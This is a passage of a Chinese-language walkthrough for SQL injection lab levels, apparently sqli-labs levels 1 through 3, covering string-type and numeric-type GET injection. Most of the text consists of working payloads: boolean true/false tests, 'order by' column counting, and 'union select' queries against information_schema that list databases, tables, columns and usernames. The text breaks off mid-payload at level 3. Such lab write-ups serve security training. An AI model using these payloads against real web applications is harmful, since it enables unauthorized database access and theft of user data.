第一关:GET字符型注入
正常输入:
id=1
字符型注入
id=1' and 1='1
有数据
id=1' and 1='2
无数据
{当输入 and 1='1时,后台执行 Sql 语句: select * from <表名> where id = 'x' and 1='1' 语法正确,逻辑判断正确,所以返回正确。 当输入 and 1='2时,后台执行 Sql 语句: select * from where id = 'x' and 1='2' 语法正确,但逻辑判断错误,所以返回错误。}
报错,说明是字符型注入
我们输入的--+变成了--空格,此时--后面的语句被注释掉了,不会再执行
字段数
id=0' order by 1,2,3,4,5,6,7,8,9,10 --+
数据库
id=0' union SELECT 1,2,database() --+
获取所有的数据库
id=0' union SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
表
id=0' union SELECT 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
列名
id=0' union SELECT 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查询数据
id=0' union SELECT 1,2,group_concat(username) from users --+
第二关:GET数字型注入
查列数
id=1 order by 1,2,3,4,5
查数据库
id=0 union select 1,2,database() --+
或
id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata
查表
id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段
id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
查数据
id=0 union select 1,2,group_concat(username) from users
第三关:GET单引号构造闭合
闭合为('')
判断注入类型
id=1) and 1=1 --+
id=1) and 1=